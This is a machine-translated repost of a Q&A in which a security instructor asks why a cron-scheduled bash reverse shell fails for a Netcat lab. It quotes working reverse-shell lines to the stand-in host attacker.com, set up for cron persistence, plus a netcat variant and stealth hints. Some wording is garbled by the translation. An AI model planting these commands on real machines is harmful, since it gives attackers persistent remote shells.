linux – Bash反向shell命令cron工作不起作用 – 我放弃了
我在一所大学教授网络安全,并在Netcat上编写一个实验室并反向炮弹.我创建了一个cron作业,它运行一个连接到我的监听器的脚本.这很好.问题是指纹太多了,脚本可以删除.实验室的一部分是隐身操作(比如在输入的任何命令前放置一个空格).
我试图让这个命令执行.现在频率并不重要,但最终它会在开机时运行,每30分钟运行一次. /bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1 从命令行运行时,命令有效,并建立反向shell.我不想使用端口80,因为如果学生决定尝试愚蠢的事情,我希望这个被阻止.另外,下一个实验室是在iptables上阻止这个端口. 我试过报价.我试过sudo.最后是双&符号.最后是单个&符号. / tcp /的路径的进一步资格.我认为我不需要建立它运行的tty会话(这将是艰难的).在任何情况下,cron-run命令都不会成功. crontab -l # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # # To define the time you can provide concrete values for # minute (m),hour (h),day of month (dom),month (mon),# and day of week (dow) or use '*' in these fields (for 'any').# # Notice that tasks will be started based on the cron's system # daemon's notion of time and timezones. # # Output of the crontab jobs (including errors) is sent through # email to the user the crontab file belongs to (unless redirected). # # For example,you can run a backup of all your user accounts # at 5 a.m every week with: # 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/ # # For more information see the manual pages of crontab(5) and cron(8) # # m h dom mon dow command * * * * * /bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1 这是系统日志 cat /var/log/syslog Mar 19 07:42:01 raspberrypi CRON[12921]: (pi) CMD (/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1) Mar 19 07:42:01 raspberrypi CRON[12917]: (CRON) info (No MTA installed,discarding output) 它似乎没有失败……它只是没有工作. 那么对于我这里比我更聪明的许多人来说,我做错了什么以及如何让这个命令作为一个cron工作(调用脚本不是一个选项)? 更新:解决方案是* * * * * / bin / bash -c’bash -i>& /dev/tcp/attacker.com/5326 0>& 1’虽然有两个错误,我仍在努力解决. 解决方法
/ dev / tcp bashism
请注意/ dev / tcp / host / port是一个基础! cron不会理解他们! 你可以尝试: * * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1' 或使用非bash方式: 使用netcat进行样本: * * * * * /usr/bin/nc -c /bin/bash -i attacker.com 5326 0>&1 (参见man nc.traditional vs man nc.openbsd) (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |